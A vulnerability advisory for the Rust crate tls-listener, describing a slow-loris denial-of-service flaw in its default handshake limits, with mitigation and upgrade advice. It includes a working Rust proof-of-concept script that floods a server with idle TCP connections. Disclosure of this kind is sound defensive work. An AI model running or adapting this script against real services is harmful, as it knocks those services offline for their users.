Vulnerability from github

Published

Modified

2024-05-20 15:29

Severity

7.5 (High) - CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

tls-listener affected by the slow loris vulnerability with default configuration

Details

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

rust /// Default number of concurrent handshakes pub const DEFAULT_MAX_HANDSHAKES: usize = 64; /// Default timeout for the TLS handshake. pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

```rust use std::{net::ToSocketAddrs, time::Duration}; use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

[tokio::main]

async fn main() { const N: usize = 1024; const T: Duration = Duration::from_secs(10);

let url = "127.0.0.1:3000";
let sockets: Vec<_> = url
    .to_socket_addrs()
    .unwrap()
    .inspect(|s| println!("{s:?}"))
    .collect();

let mut js = JoinSet::new();

let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
for _ in 0..10000 {
    for &socket in &sockets {
        int.tick().await;
        js.spawn(async move {
            let mut stream = TcpStream::connect(socket).await.unwrap();
            let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
        });
    }
}

while js.join_next().await.is_some() {}

}

```

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Vulnerability from gsd

Details

tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.

With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.
